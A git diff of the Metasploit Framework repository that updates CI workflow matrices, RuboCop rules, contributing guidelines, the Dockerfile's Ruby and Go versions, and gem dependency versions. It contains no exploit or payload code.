| c3ffdb12f5 | |||
| ef638ae104 | |||
| 37e92f76f3 | |||
| f6c8b98bd6 | |||
| 04842eaaee | |||
| 4422cb53eb | |||
| 4004c1f215 | |||
| 0116d0c04b | |||
| b43dc8be08 | |||
| 5e3953e53e | |||
| 7950d866f3 | |||
| dbce82416c | |||
| 95e8b31d4b | |||
| 03b90701cd | |||
| 03277a486f | |||
| c698979dd3 | |||
| c62f04109b | |||
| 8604c72ef4 | |||
| 8102bed3b7 | |||
| 1bea1baba0 | |||
| 531fbd3abe | |||
| 114ab6006b | |||
| 58fbf9e924 | |||
| 7a1892e6e7 | |||
| fa4dd1d420 | |||
| bf5ae87a3d | |||
| 2422f8b67b | |||
| f2bcf34d51 | |||
| f12ddc7252 | |||
| f2e29a326e | |||
| 112b8f5ece | |||
| 8d3d8d8662 | |||
| d626886250 | |||
| 91f1db308d | |||
| 54465f30f2 | |||
| c92567e507 | |||
| 4f2fe84352 | |||
| daf5e1cfeb | |||
| b526986922 | |||
| 2f5758b8ed | |||
| efb0d5da4c | |||
| 8d7bbdd84f | |||
| 59b862ce35 | |||
| b1d0eedc26 | |||
| 94606036bd | |||
| edd36a8182 | |||
| 9c075c7cce | |||
| 4a38605576 | |||
| 45dfa5fda9 | |||
| e71a851e3f | |||
| 60a496eec9 | |||
| b0fec4ebd7 | |||
| 4d57710d92 | |||
| b94418a863 | |||
| eef2e4c26c | |||
| 2f958c21af | |||
| 60e9cae636 | |||
| b1b8ad376e | |||
| c9421a65cc | |||
| 3c4d0aae2f | |||
| 47351e4959 | |||
| 94fcda9eb6 | |||
| 65d2b6380b | |||
| 5cc5563625 | |||
| 77c3ce52e0 | |||
| 316ecd4d04 | |||
| ee89d10886 | |||
| 7a5ff2a360 | |||
| 57e3045b57 | |||
| 8ac44d55cd | |||
| b4ca537785 | |||
| b3602b2ade | |||
| df9efe382d | |||
| df8b0de0c8 | |||
| 258b8aaea2 | |||
| 0017fbdf56 | |||
| acd692e139 | |||
| 810e7c4518 | |||
| d2dd9a6d8f | |||
| 62b8ded001 | |||
| 149c442d70 | |||
| 36b13f5be7 | |||
| db76de2401 | |||
| 2fd05115c8 | |||
| 11818c2812 | |||
| b8429cb3e8 | |||
| 97adc2755d | |||
| e159ea5300 | |||
| c9afd440f8 | |||
| 29cb4416ed | |||
| d9c2ed82fd | |||
| 40726d1859 | |||
| b988b49f27 | |||
| 4d4b88c94e | |||
| df8ad37dde | |||
| 2b83fbf449 | |||
| e689d85c92 | |||
| da06e5ad90 | |||
| b328d3f318 | |||
| 1bb9fc94ec | |||
| 4bb8c30180 | |||
| 66f49c25bd | |||
| f667179515 | |||
| 712b47b0bf | |||
| 689e44f3ff | |||
| 2f351eae33 | |||
| e024c115f3 | |||
| 93c2360741 | |||
| 058e7be47a | |||
| 2a51f450cd | |||
| 302052c692 | |||
| 2e3661a07b | |||
| 262e4b8c13 | |||
| 851beb77b0 | |||
| 25cb21908a | |||
| c6e3df85bb | |||
| 7badd24b72 | |||
| 4c7d1d8079 | |||
| ad44afee01 | |||
| a11616d189 | |||
| 556e52d1d2 | |||
| 335825a020 | |||
| c2495aff58 | |||
| 0a45480c49 | |||
| 6054d7c5ce | |||
| d52874ac46 | |||
| 6ec6909850 | |||
| a8a782eb2e | |||
| fd3f313c64 | |||
| 03a4acf7d0 | |||
| 76c29831fa | |||
| 2d7985b511 | |||
| 5dd55f0af4 | |||
| 80d15ae86d | |||
| 9ccc0a3070 | |||
| cde660065c | |||
| 61705db8be | |||
| b9c8c63501 | |||
| b2ad59d0aa |
@@ -63,21 +63,23 @@ jobs:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os:
|
||||
- windows-2019
|
||||
- ubuntu-20.04
|
||||
- windows-2022
|
||||
- ubuntu-latest
|
||||
ruby:
|
||||
- '3.2'
|
||||
- '3.4'
|
||||
include:
|
||||
# Powershell
|
||||
- { command_shell: { name: powershell }, os: windows-2019 }
|
||||
- { command_shell: { name: powershell }, os: windows-2022 }
|
||||
- { command_shell: { name: powershell }, ruby: '3.4', os: windows-2022 }
|
||||
- { command_shell: { name: powershell }, ruby: '3.4', os: windows-2025 }
|
||||
|
||||
# Linux
|
||||
- { command_shell: { name: linux }, os: ubuntu-20.04 }
|
||||
- { command_shell: { name: linux }, ruby: '3.4', os: ubuntu-latest }
|
||||
|
||||
# CMD
|
||||
- { command_shell: { name: cmd }, os: windows-2019 }
|
||||
- { command_shell: { name: cmd }, os: windows-2022 }
|
||||
- { command_shell: { name: cmd }, ruby: '3.4', os: windows-2022 }
|
||||
|
||||
# TODO: Tests currently fail:
|
||||
# - { command_shell: { name: cmd }, ruby: '3.4', os: windows-2025 }
|
||||
|
||||
runs-on: ${{ matrix.os }}
|
||||
|
||||
@@ -126,10 +128,16 @@ jobs:
|
||||
with:
|
||||
path: metasploit-framework
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup '${{ matrix.ruby }}' Ruby
|
||||
# Skip for now to ensure CI passes on Windows server 2025 powershell tests
|
||||
#env:
|
||||
# BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@eaecf785f6a34567a6d97f686bbb7bccc1ac1e5c
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
bundler-cache: true
|
||||
@@ -175,13 +183,19 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
# use the default version from the .ruby-version file
|
||||
ruby-version: '.ruby-version'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
|
||||
|
||||
@@ -45,6 +45,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
|
||||
@@ -33,6 +33,8 @@ on:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**ldap**'
|
||||
- 'lib/metasploit/framework/tcp/**'
|
||||
- 'lib/metasploit/framework/login_scanner/**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
@@ -72,6 +74,11 @@ jobs:
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -121,6 +128,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -82,6 +82,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -138,6 +143,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -80,6 +80,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -137,6 +142,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -33,6 +33,8 @@ on:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**postgres**'
|
||||
- 'lib/metasploit/framework/tcp/**'
|
||||
- 'lib/metasploit/framework/login_scanner/**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
@@ -82,6 +84,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -139,6 +146,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -0,0 +1,69 @@
|
||||
name: Shared Gem Verify
|
||||
on:
|
||||
workflow_call:
|
||||
inputs:
|
||||
test_commands:
|
||||
description: 'Test commands'
|
||||
required: false
|
||||
default: "bundle exec rspec"
|
||||
type: string
|
||||
dependencies:
|
||||
description: 'Array of system dependencies to install'
|
||||
required: false
|
||||
default: "[]"
|
||||
type: string
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
- '3.3'
|
||||
- '3.4'
|
||||
os:
|
||||
- ubuntu-22.04
|
||||
- ubuntu-24.04
|
||||
- ubuntu-latest
|
||||
- windows-2022
|
||||
- windows-2025
|
||||
- macos-13
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
if: ${{ inputs.dependencies != '[]' && !contains(matrix.os, 'macos') && !contains(matrix.os, 'windows') }}
|
||||
run: |
|
||||
dependencies=$(echo '${{ inputs.dependencies }}' | jq -r '.[]')
|
||||
for dep in $dependencies; do
|
||||
sudo apt-get -y --no-install-recommends install "$dep"
|
||||
done
|
||||
shell: bash
|
||||
|
||||
- name: Install system dependencies (Windows)
|
||||
if: ${{ contains(matrix.os, 'windows') && inputs.dependencies != '[]' }}
|
||||
run: |
|
||||
$dependencies = (echo '${{ inputs.dependencies }}' | jq -r '.[]')
|
||||
foreach ($dep in $dependencies) {
|
||||
choco install $dep -y
|
||||
}
|
||||
shell: pwsh
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
bundler-cache: true
|
||||
|
||||
- name: Test
|
||||
run: ${{ inputs.test_commands }}
|
||||
@@ -0,0 +1,90 @@
|
||||
name: Shared Gem Verify Rails/PostgreSQL
|
||||
on:
|
||||
workflow_call:
|
||||
inputs:
|
||||
test_commands:
|
||||
description: 'Test commands'
|
||||
required: false
|
||||
default: "bundle exec rspec"
|
||||
type: string
|
||||
dependencies:
|
||||
description: 'Array of system dependencies to install'
|
||||
required: false
|
||||
default: "[]"
|
||||
type: string
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
- '3.3'
|
||||
- '3.4'
|
||||
rails:
|
||||
- '~> 7.0.0'
|
||||
- '~> 7.1.0'
|
||||
- '~> 7.2.0'
|
||||
postgres:
|
||||
- '9.6'
|
||||
- '16.8'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: ${{ matrix.os }} - Ruby ${{ matrix.ruby }} - Rails ${{ matrix.rails }} - PostgreSQL ${{ matrix.postgres }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: |
|
||||
dependencies=$(echo '${{ inputs.dependencies }}' | jq -r '.[]')
|
||||
for dep in $dependencies; do
|
||||
sudo apt-get -y --no-install-recommends install "$dep"
|
||||
done
|
||||
shell: bash
|
||||
|
||||
- name: Set up PostgreSQL service
|
||||
run: |
|
||||
docker run --name postgres -d -p 5432:5432 \
|
||||
-e POSTGRES_USER=postgres \
|
||||
-e POSTGRES_PASSWORD=postgres \
|
||||
--health-cmd="pg_isready" \
|
||||
--health-interval="10s" \
|
||||
--health-timeout="5s" \
|
||||
--health-retries=5 \
|
||||
postgres:${{ matrix.postgres }}
|
||||
|
||||
- name: Wait for PostgreSQL to be healthy
|
||||
run: |
|
||||
docker exec postgres sh -c 'until pg_isready -U postgres; do echo waiting for postgres; sleep 2; done; echo postgres is ready'
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
bundler-cache: true
|
||||
|
||||
- name: Update Rails version
|
||||
run: |
|
||||
# Add the gem explicitly if it doesn't exist
|
||||
if ! grep -q "gem ['\"]rails['\"]" Gemfile; then
|
||||
echo 'gem "rails"' >> Gemfile
|
||||
fi
|
||||
|
||||
# Ensure the gem is on the latest version
|
||||
ruby -pi -e "gsub(/gem ['\"]rails['\"](, *['\"].*['\"])?/, \"gem 'rails', '${{ matrix.rails }}'\")" Gemfile
|
||||
bundle update
|
||||
bundle install
|
||||
bundle show rails
|
||||
shell: bash
|
||||
|
||||
- name: Test
|
||||
run: ${{ inputs.test_commands }}
|
||||
@@ -68,13 +68,13 @@ jobs:
|
||||
matrix:
|
||||
os:
|
||||
- macos-13
|
||||
- windows-2019
|
||||
- ubuntu-20.04
|
||||
- windows-2022
|
||||
- ubuntu-latest
|
||||
ruby:
|
||||
- '3.2'
|
||||
- '3.4'
|
||||
meterpreter:
|
||||
# Python
|
||||
- { name: python, runtime_version: 3.6 }
|
||||
- { name: python, runtime_version: 3.8 }
|
||||
- { name: python, runtime_version: 3.11 }
|
||||
|
||||
# Java
|
||||
@@ -87,12 +87,13 @@ jobs:
|
||||
- { name: php, runtime_version: 8.3 }
|
||||
include:
|
||||
# Windows Meterpreter
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
|
||||
- { meterpreter: { name: windows_meterpreter }, ruby: '3.4', os: windows-2022 }
|
||||
# TODO: Screenshotting behavior fails:
|
||||
# - { meterpreter: { name: windows_meterpreter }, ruby: '3.4', os: windows-2025 }
|
||||
|
||||
# Mettle
|
||||
- { meterpreter: { name: mettle }, os: macos-13 }
|
||||
- { meterpreter: { name: mettle }, os: ubuntu-20.04 }
|
||||
- { meterpreter: { name: mettle }, os: ubuntu-latest }
|
||||
|
||||
runs-on: ${{ matrix.os }}
|
||||
|
||||
@@ -190,12 +191,18 @@ jobs:
|
||||
path: metasploit-framework
|
||||
ref: ${{ inputs.metasploit_framework_commit }}
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
# Required for macos13 pg gem compilation
|
||||
PKG_CONFIG_PATH: "/usr/local/opt/libpq/lib/pkgconfig"
|
||||
uses: ruby/setup-ruby@v1
|
||||
# Pinned to avoid Windows compilation failure with nokogiri
|
||||
uses: ruby/setup-ruby@eaecf785f6a34567a6d97f686bbb7bccc1ac1e5c
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
bundler-cache: true
|
||||
@@ -269,6 +276,15 @@ jobs:
|
||||
make.bat
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Build Windows payloads via Visual Studio 2025 Build (Windows)
|
||||
shell: cmd
|
||||
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2025' && inputs.build_metasploit_payloads }}
|
||||
run: |
|
||||
cd c/meterpreter
|
||||
git submodule init && git submodule update
|
||||
make.bat
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Get metasploit-payloads version
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: bash
|
||||
@@ -344,11 +360,16 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
uses: ruby/setup-ruby@eaecf785f6a34567a6d97f686bbb7bccc1ac1e5c
|
||||
with:
|
||||
ruby-version: '3.3'
|
||||
bundler-cache: true
|
||||
|
||||
@@ -74,6 +74,11 @@ jobs:
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -143,6 +148,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -64,7 +64,6 @@ jobs:
|
||||
- '3.3'
|
||||
- '3.4'
|
||||
os:
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
include:
|
||||
- os: ubuntu-latest
|
||||
@@ -89,6 +88,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
|
||||
+24
-4
@@ -25,10 +25,7 @@ require:
|
||||
- ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb
|
||||
|
||||
Layout/SpaceBeforeBrackets:
|
||||
Description: >-
|
||||
Disabled as it generates invalid code:
|
||||
https://github.com/rubocop-hq/rubocop/issues/9499
|
||||
Enabled: false
|
||||
Enabled: true
|
||||
|
||||
Lint/AmbiguousAssignment:
|
||||
Enabled: true
|
||||
@@ -116,6 +113,12 @@ Style/DocumentDynamicEvalDefinition:
|
||||
Style/EndlessMethod:
|
||||
Enabled: true
|
||||
|
||||
Style/FormatStringToken:
|
||||
Enabled: true
|
||||
Exclude:
|
||||
# We aren't ready to enable this for modules yet
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/HashExcept:
|
||||
Enabled: true
|
||||
|
||||
@@ -155,9 +158,26 @@ Style/RedundantAssignment:
|
||||
and return expression
|
||||
Enabled: false
|
||||
|
||||
Style/RedundantParentheses:
|
||||
Description: >-
|
||||
Disabled as it sometimes improves the readability of code
|
||||
Enabled: false
|
||||
|
||||
Style/RedundantRegexpArgument:
|
||||
Enabled: true
|
||||
Exclude:
|
||||
# We aren't ready to enable this for modules yet
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/SwapValues:
|
||||
Enabled: false
|
||||
|
||||
Layout/LineContinuationLeadingSpace:
|
||||
Description: >-
|
||||
Disabled as it sometimes improves the readability of code having leading spaces
|
||||
for indented code strings.
|
||||
Enabled: false
|
||||
|
||||
Layout/ModuleHashOnNewLine:
|
||||
Enabled: true
|
||||
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
3.2.5
|
||||
3.2.8
|
||||
|
||||
+8
-1
@@ -22,6 +22,8 @@ Once you have finished your new module and tested it locally to ensure it's work
|
||||
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
|
||||
will be closed. We need to ensure the code we're adding to master is written to a high standard.
|
||||
|
||||
## Expedited Module Creation Process
|
||||
We strive to respect the community that has given us so much, so in the odd situation where we get multiple submissions for the same vulnerability, generally we will work with the first person who assigns themselves to the issue or the first person that submits a good-faith PR. A good-faith PR might not even work, but it will show that the author is working their way toward a solution. Despite this general rule, there are rare circumstances where we may ask a contributor to step aside or allow a committer to take the lead on the creation of a new module if a complete and working module with documents has not already been submitted. This kind of expedited module creation process comes up infrequently, and usually it involves high-profile or high priority modules that we have marked internally as time-critical: think KEV list, active exploitation campaigns, CISA announcements, etc. In those cases, we may ask a contributor that is assigned to the issue or who has submitted an incomplete module to allow a committer to take over an issue or a module PR in the interest of getting a module out quickly. If a contributor has submitted an incomplete module, they will remain as a co-author of the module and we may build directly onto the PR they submitted, leaving the original commits in the tree. We sincerely hope that the original author will remain involved in this expedited module creation process. We would appreciate testing, critiquing, and any assistance that can be offered. If the module is complete but requires minor changes, we may ask the contributor to allow us to take over testing/verification and make these minor changes without asking so we can land the module as quickly as possible. In these cases of minor code changes, the authorship of the module will remain unchanged. We hope everyone involved in this expedited module creation process continues to feel valued and appreciated.
|
||||
|
||||
### Code Contribution Do's & Don'ts:
|
||||
|
||||
@@ -40,13 +42,18 @@ Keeping the following in mind gives your contribution the best chance of landing
|
||||
* **Do** target your pull request to the **master branch**.
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** test your code.
|
||||
* **Do** list [verification steps] so committers can test your code.
|
||||
* **Do** [reference associated issues] in your pull request description.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** include sensitive information in your PR (including externally-routable IP addresses in documentation).
|
||||
* **Don't** PR untested/unvalidated code you copy/pasted from the internet.
|
||||
* **Don't** PR untested/unvalidated code you copy/pasted from AI or LLM.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
* **Don't** post questions in older closed PRs.
|
||||
|
||||
#### <u>New Modules</u>
|
||||
* **Do** check the issue tracker to see if there is a `suggestion-module` issue for the module you want to write, and assign yourself to it if there is.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
|
||||
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
Copyright (C) 2006-2020, Rapid7, Inc.
|
||||
Copyright (C) 2006-2025, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
||||
+7
-6
@@ -1,7 +1,7 @@
|
||||
FROM ruby:3.2.5-alpine3.20 AS builder
|
||||
FROM ruby:3.2.8-alpine3.21 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_CONFIG_ARGS="set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ARG BUNDLER_CONFIG_ARGS="set force_ruby_platform 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ARG BUNDLER_FORCE_CLEAN="true"
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV TOOLS_HOME=/usr/src/tools
|
||||
@@ -24,6 +24,7 @@ RUN apk add --no-cache \
|
||||
readline-dev \
|
||||
sqlite-dev \
|
||||
postgresql-dev \
|
||||
libffi-dev \
|
||||
libpcap-dev \
|
||||
libxml2-dev \
|
||||
libxslt-dev \
|
||||
@@ -47,13 +48,13 @@ RUN apk add --no-cache \
|
||||
ENV GO111MODULE=off
|
||||
RUN mkdir -p $TOOLS_HOME/bin && \
|
||||
cd $TOOLS_HOME/bin && \
|
||||
curl -O https://dl.google.com/go/go1.21.1.src.tar.gz && \
|
||||
tar -zxf go1.21.1.src.tar.gz && \
|
||||
rm go1.21.1.src.tar.gz && \
|
||||
curl -O https://dl.google.com/go/go1.24.0.src.tar.gz && \
|
||||
tar -zxf go1.24.0.src.tar.gz && \
|
||||
rm go1.24.0.src.tar.gz && \
|
||||
cd go/src && \
|
||||
./make.bash
|
||||
|
||||
FROM ruby:3.2.5-alpine3.20
|
||||
FROM ruby:3.2.8-alpine3.21
|
||||
LABEL maintainer="Rapid7"
|
||||
ARG TARGETARCH
|
||||
|
||||
|
||||
@@ -24,7 +24,7 @@ group :development do
|
||||
# memory profiling
|
||||
gem 'memory_profiler'
|
||||
# cpu profiling
|
||||
gem 'ruby-prof', '1.4.2'
|
||||
gem 'ruby-prof'
|
||||
# Metasploit::Aggregator external session proxy
|
||||
# disabled during 2.5 transition until aggregator is available
|
||||
# gem 'metasploit-aggregator'
|
||||
@@ -38,7 +38,7 @@ group :development, :test do
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
# Required during CI as well local development
|
||||
gem 'rubocop'
|
||||
gem 'rubocop', '1.75.7'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
||||
+182
-144
@@ -1,12 +1,12 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.4.52)
|
||||
metasploit-framework (6.4.70)
|
||||
aarch64
|
||||
abbrev
|
||||
actionpack (~> 7.0.0)
|
||||
activerecord (~> 7.0.0)
|
||||
activesupport (~> 7.0.0)
|
||||
actionpack (~> 7.1.0)
|
||||
activerecord (~> 7.1.0)
|
||||
activesupport (~> 7.1.0)
|
||||
aws-sdk-ec2
|
||||
aws-sdk-ec2instanceconnect
|
||||
aws-sdk-iam
|
||||
@@ -45,8 +45,8 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.189)
|
||||
metasploit_data_models
|
||||
metasploit-payloads (= 2.0.221)
|
||||
metasploit_data_models (>= 6.0.7)
|
||||
metasploit_payloads-mettle (= 1.0.35)
|
||||
mqtt
|
||||
msgpack (~> 1.6.0)
|
||||
@@ -71,7 +71,7 @@ PATH
|
||||
pg
|
||||
puma
|
||||
railties
|
||||
rasn1 (= 0.13.0)
|
||||
rasn1 (= 0.14.0)
|
||||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
@@ -94,9 +94,10 @@ PATH
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
rinda
|
||||
ruby-macho
|
||||
ruby-mysql
|
||||
ruby_smb (~> 3.3.3)
|
||||
ruby_smb (~> 3.3.15)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sinatra
|
||||
@@ -118,99 +119,114 @@ PATH
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.1)
|
||||
Ascii85 (2.0.1)
|
||||
aarch64 (2.1.0)
|
||||
racc (~> 1.6)
|
||||
abbrev (0.1.2)
|
||||
